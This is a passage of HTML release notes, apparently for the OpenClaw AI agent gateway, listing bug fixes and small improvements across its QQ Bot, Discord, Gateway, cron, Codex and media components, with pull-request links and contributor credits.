<p>QQ Bot: respect <code>OPENCLAW_HOME</code> for outbound media path resolution so <code>&lt;qqmedia&gt;</code> sends no longer silently fail when <code>HOME</code> and <code>OPENCLAW_HOME</code> differ (Docker / multi-user hosts). Persisted QQ Bot data (sessions, known users, refs) stays anchored on the OS home for upgrade compatibility. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468393053" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83562" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83562/hovercard" href="https://github.com/openclaw/openclaw/issues/83562">#83562</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliverp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliverp">@sliverp</a>.</p>
</li>
<li>
<p>Update: report the primary malformed <code>openclaw.extensions</code> payload error without adding a duplicate missing-main diagnostic. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518738170" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86596" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86596/hovercard" href="https://github.com/openclaw/openclaw/pull/86596">#86596</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Control UI: keep host-local Markdown file paths inert while preserving app-relative links. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519194707" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86620" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86620/hovercard" href="https://github.com/openclaw/openclaw/pull/86620">#86620</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BryanTegomoh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BryanTegomoh">@BryanTegomoh</a>.</p>
</li>
<li>
<p>Gateway: dampen repeated unauthenticated device-required probes per URL while preserving explicit-auth and paired recovery paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518368934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86575" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86575/hovercard" href="https://github.com/openclaw/openclaw/pull/86575">#86575</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>IRC: store inbound channel routes with the canonical <code>channel:#name</code> target and join transient channel sends before writing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510338183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85906" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85906/hovercard" href="https://github.com/openclaw/openclaw/pull/85906">#85906</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</p>
</li>
<li>
<p>Usage: surface unknown all-zero model pricing as missing cost entries instead of a confident <code>$0</code> total. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510071986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85882" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85882/hovercard" href="https://github.com/openclaw/openclaw/pull/85882">#85882</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MichaelZelbel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MichaelZelbel">@MichaelZelbel</a>.</p>
</li>
<li>
<p>Agents/Codex: honor yolo app-server approval policy only for the full <code>never</code> plus <code>danger-full-access</code> case. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510371309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85909/hovercard" href="https://github.com/openclaw/openclaw/pull/85909">#85909</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/earlvanze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/earlvanze">@earlvanze</a>.</p>
</li>
<li>
<p>Gateway/Gmail: clear Gmail watcher renewal intervals on re-entry so hot reloads do not leak lifecycle timers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462445654" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82947" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82947/hovercard" href="https://github.com/openclaw/openclaw/pull/82947">#82947</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Logging: exit cleanly on broken stdout/stderr pipes without masking existing failure exit codes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4414373713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80059" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80059/hovercard" href="https://github.com/openclaw/openclaw/pull/80059">#80059</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pavelzak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pavelzak">@pavelzak</a>.</p>
</li>
<li>
<p>Gateway/security: escape transcript metadata field names while extracting oversized session line prefixes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510569360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85934/hovercard" href="https://github.com/openclaw/openclaw/pull/85934">#85934</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Plugins/security: validate manifest model pattern regexes with the safe-regex compiler so unsafe patterns are ignored before matching. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511654235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86046/hovercard" href="https://github.com/openclaw/openclaw/pull/86046">#86046</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Discord: route gateway metadata REST lookups through the configured Discord proxy so proxied accounts do not fall back to direct <code>discord.com</code> connections before opening the WebSocket. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415391667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80227/hovercard" href="https://github.com/openclaw/openclaw/issues/80227">#80227</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Clivilwalker/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Clivilwalker">@Clivilwalker</a>.</p>
</li>
<li>
<p>Agents/media: hydrate current-turn image attachments from filename-derived MIME types so active vision can see generated or forwarded images whose source omitted an image content type. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491887450" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84812" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84812/hovercard" href="https://github.com/openclaw/openclaw/pull/84812">#84812</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/marchpure/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/marchpure">@marchpure</a>.</p>
</li>
<li>
<p>Agents/fs: point workspace-only scratch-path guidance at in-workspace temp directories while keeping host-root writes rejected by the tool guard. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517290933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86501" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86501/hovercard" href="https://github.com/openclaw/openclaw/pull/86501">#86501</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianxiaochannel-oss88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianxiaochannel-oss88">@tianxiaochannel-oss88</a>.</p>
</li>
<li>
<p>Agents/media: keep async cron media completions scoped to their run session while preserving direct delivery for stale generated-media success and failure notifications. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517772956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86529" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86529/hovercard" href="https://github.com/openclaw/openclaw/pull/86529">#86529</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>Gateway: emit plugin <code>session_end</code>/<code>session_start</code> hooks when <code>agent.send</code> rotates or replaces a session id, keeping hook lifecycle state aligned with <code>sessions.changed</code> notifications. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467265613" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83507" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83507/hovercard" href="https://github.com/openclaw/openclaw/issues/83507">#83507</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509963144" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85875" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85875/hovercard" href="https://github.com/openclaw/openclaw/pull/85875">#85875</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>OpenShell/SSH: reject malformed generated exec commands before sandbox/session setup so unresolved workflow placeholders fail fast instead of reaching the remote shell. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332058570" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72373" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72373/hovercard" href="https://github.com/openclaw/openclaw/issues/72373">#72373</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Google: stop normalizing <code>gemini-3.1-flash-lite</code> to the retired preview endpoint and update Flash Lite alias guidance to the GA model id. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512418235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86151" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86151/hovercard" href="https://github.com/openclaw/openclaw/issues/86151">#86151</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513395718" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86240" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86240/hovercard" href="https://github.com/openclaw/openclaw/pull/86240">#86240</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Installer: make Alpine apk installs cover Git, verify the Node runtime floor, try <code>nodejs-current</code>, and report Alpine version guidance when repositories only provide older Node packages.</p>
</li>
<li>
<p>Agents/status: prefer the active Claude CLI OAuth auth label over an unused Anthropic env API-key label for equivalent runtime aliases. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415131122" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80184" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80184/hovercard" href="https://github.com/openclaw/openclaw/issues/80184">#80184</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518344489" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86570" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86570/hovercard" href="https://github.com/openclaw/openclaw/pull/86570">#86570</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Agents/media: send direct fallback for generated media still missing after an active requester wake fails. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505148850" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85489" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85489/hovercard" href="https://github.com/openclaw/openclaw/pull/85489">#85489</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents: derive overflow compaction budgets from provider-reported and synthetic over-budget token counts so confirmed context overflows compact before retrying. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313476027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70473/hovercard" href="https://github.com/openclaw/openclaw/pull/70473">#70473</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents/Codex: recover Codex context-window prompt errors through overflow compaction and surface reset guidance when recovery is exhausted. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506087008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85542/hovercard" href="https://github.com/openclaw/openclaw/pull/85542">#85542</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents/Codex: allow Codex app-server runs to bootstrap from <code>CODEX_API_KEY</code> or <code>OPENAI_API_KEY</code> when no Codex auth profile is configured.</p>
</li>
<li>
<p>Agents/Codex: keep selected Codex runtime routing on OpenAI-Codex while preserving direct OpenAI API-key compaction fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515716562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86408/hovercard" href="https://github.com/openclaw/openclaw/pull/86408">#86408</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/funmerlin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/funmerlin">@funmerlin</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</p>
</li>
<li>
<p>Agent transcript: include OpenClaw agent session logs when finding local transcript candidates.</p>
</li>
<li>
<p>Crabbox: bootstrap raw AWS macOS shell commands wrapped in absolute <code>time</code> paths so RSS probes can run Node and pnpm on fresh macOS runners.</p>
</li>
<li>
<p>Crabbox: bootstrap raw AWS macOS shell commands even when setup statements precede Node or pnpm usage.</p>
</li>
<li>
<p>TUI/local: skip unnecessary secret resolution, gateway model catalog loading, bootstrap, and skill scans in explicit local-model runs so startup reaches the model request faster.</p>
</li>
<li>
<p>Sessions/doctor: load large session stores without clone amplification during read-only doctor checks and reclaim stale <code>sessions.json.*.tmp</code> sidecars. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4162810373" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56827" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56827/hovercard" href="https://github.com/openclaw/openclaw/issues/56827">#56827</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Tests: clean successful plugin gateway gauntlet isolated temp roots while keeping an explicit preservation switch for failed/debug runs.</p>
</li>
<li>
<p>Plugins/perf: reuse derived plugin metadata snapshots for the lifetime of the process so reply-time skill setup no longer rescans plugin metadata on every turn.</p>
</li>
<li>
<p>Discord/OpenAI voice: keep wake-name master consults using the current speaker context after ignored ambient transcripts and shorten the default capture silence grace.</p>
</li>
<li>
<p>Doctor: skip redundant Gateway restart prompts when a recent supervisor restart leaves the Gateway healthy. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517583554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86518" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86518/hovercard" href="https://github.com/openclaw/openclaw/issues/86518">#86518</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517880193" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86533/hovercard" href="https://github.com/openclaw/openclaw/pull/86533">#86533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoyl830/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoyl830">@liaoyl830</a>.</p>
</li>
<li>
<p>Cron: restore suspended cron lanes to the configured/default concurrency instead of falling back to one after quota or circuit-breaker auto-resume.</p>
</li>
<li>
<p>Gateway: keep session-only Control UI tool-start mirrors flowing during diagnostic queue pressure instead of silently dropping non-terminal tool updates.</p>
</li>
<li>
<p>Agents/memory: return optional not-found context for missing date-only daily memory reads instead of logging benign first-run <code>ENOENT</code> failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462409079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82928/hovercard" href="https://github.com/openclaw/openclaw/issues/82928">#82928</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</p>
</li>
<li>
<p>Discord: merge streamed text captions into following media block replies so captions and attachments send as one message. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517016511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86487/hovercard" href="https://github.com/openclaw/openclaw/pull/86487">#86487</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Gateway: avoid sending duplicate tool-event frames to Control UI connections that are subscribed by both run and session.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept broader edge-position fuzzy wake-name transcripts while keeping ambient speech gated.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept longer leading wake-name mistranscripts such as "Open Club" for OpenClaw.</p>
</li>
<li>
<p>Agents/OpenAI-compatible: stop ModelStudio-compatible chat requests before sending system/tool-only payloads that have no usable user or assistant turn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512668599" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86177" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86177/hovercard" href="https://github.com/openclaw/openclaw/pull/86177">#86177</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</p>
</li>
<li>
<p>Gateway/plugins: reuse plugin package realpath checks while building installed plugin indexes so startup avoids repeated filesystem resolution work.</p>
</li>
<li>
<p>Kilo Gateway: send string <code>stop</code> sequences as arrays so Kilo accepts OpenAI-compatible chat completions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516690908" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86461" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86461/hovercard" href="https://github.com/openclaw/openclaw/pull/86461">#86461</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept leading fuzzy wake-name transcripts such as "Monty" or "Moti" for a Molty agent while keeping ambient speech gated.</p>
</li>
<li>
<p>Media understanding: convert HEIC and HEIF images to JPEG before image description providers run so iPhone photos work in direct and configured image-description flows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511517298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86037/hovercard" href="https://github.com/openclaw/openclaw/pull/86037">#86037</a>)</p>
</li>
<li>
<p>Agents: release embedded-attempt session locks from outer teardown so post-prompt exceptions cannot wedge later requests behind <code>SessionWriteLockTimeoutError</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511256935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86014/hovercard" href="https://github.com/openclaw/openclaw/issues/86014">#86014</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Discord/OpenAI voice: rotate Realtime sessions at provider max duration without logging the expected session-expiry event as an error.</p>
</li>
<li>
<p>Sessions: skip metadata-only entries during QMD-slugified session lookup so one incomplete row does not block transcript hit resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514294799" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86327" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86327/hovercard" href="https://github.com/openclaw/openclaw/pull/86327">#86327</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abnershang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abnershang">@abnershang</a>.</p>
</li>
<li>
<p>Agents/media: derive bundled plugin local-media trust from plugin tool metadata instead of importing the full plugin registry on subscription paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482773792" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84409" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84409/hovercard" href="https://github.com/openclaw/openclaw/pull/84409">#84409</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</p>
</li>
<li>
<p>Image tool: keep config-backed custom-provider API keys usable for auto-discovered vision models, including deferred image-tool execution without env keys or auth profiles. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508451345" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85733" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85733/hovercard" href="https://github.com/openclaw/openclaw/pull/85733">#85733</a>)</p>
</li>
<li>
<p>Memory/local embeddings: run local GGUF embeddings in an isolated worker sidecar and degrade to configured fallback or keyword search on worker failure so native embedding crashes do not take down the Gateway. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502468683" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85348" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85348/hovercard" href="https://github.com/openclaw/openclaw/pull/85348">#85348</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/osolmaz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/osolmaz">@osolmaz</a>.</p>
</li>
<li>
<p>Gateway: clear the runtime config snapshot before <code>SIGUSR1</code> in-process restarts so config changes survive the next gateway loop. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515407785" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86388" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86388/hovercard" href="https://github.com/openclaw/openclaw/pull/86388">#86388</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/XuZehan-iCenter/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/XuZehan-iCenter">@XuZehan-iCenter</a>.</p>
</li>
<li>
<p>Models: show OAuth delegation markers as configured <code>models.json</code> auth while keeping runtime route usability checks strict. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515241861" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86378" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86378/hovercard" href="https://github.com/openclaw/openclaw/pull/86378">#86378</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rohitjavvadi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rohitjavvadi">@rohitjavvadi</a>.</p>
</li>
<li>
<p>Cron: seed active scheduled and manual cron task rows with a progress summary so status surfaces do not look blank while jobs run. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514058569" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86313" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86313/hovercard" href="https://github.com/openclaw/openclaw/pull/86313">#86313</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Cron: preserve unsupported persisted cron payload rows during routine store writes while keeping those rows non-runnable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493956816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84922" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84922/hovercard" href="https://github.com/openclaw/openclaw/issues/84922">#84922</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515779319" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86415" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86415/hovercard" href="https://github.com/openclaw/openclaw/pull/86415">#86415</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</p>
</li>
<li>
<p>Updater: exclude prerelease git tags from stable channel resolution so source updates do not check out newer alpha/rc/preview/canary tags. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513592243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86260" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86260/hovercard" href="https://github.com/openclaw/openclaw/pull/86260">#86260</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</p>
</li>
<li>
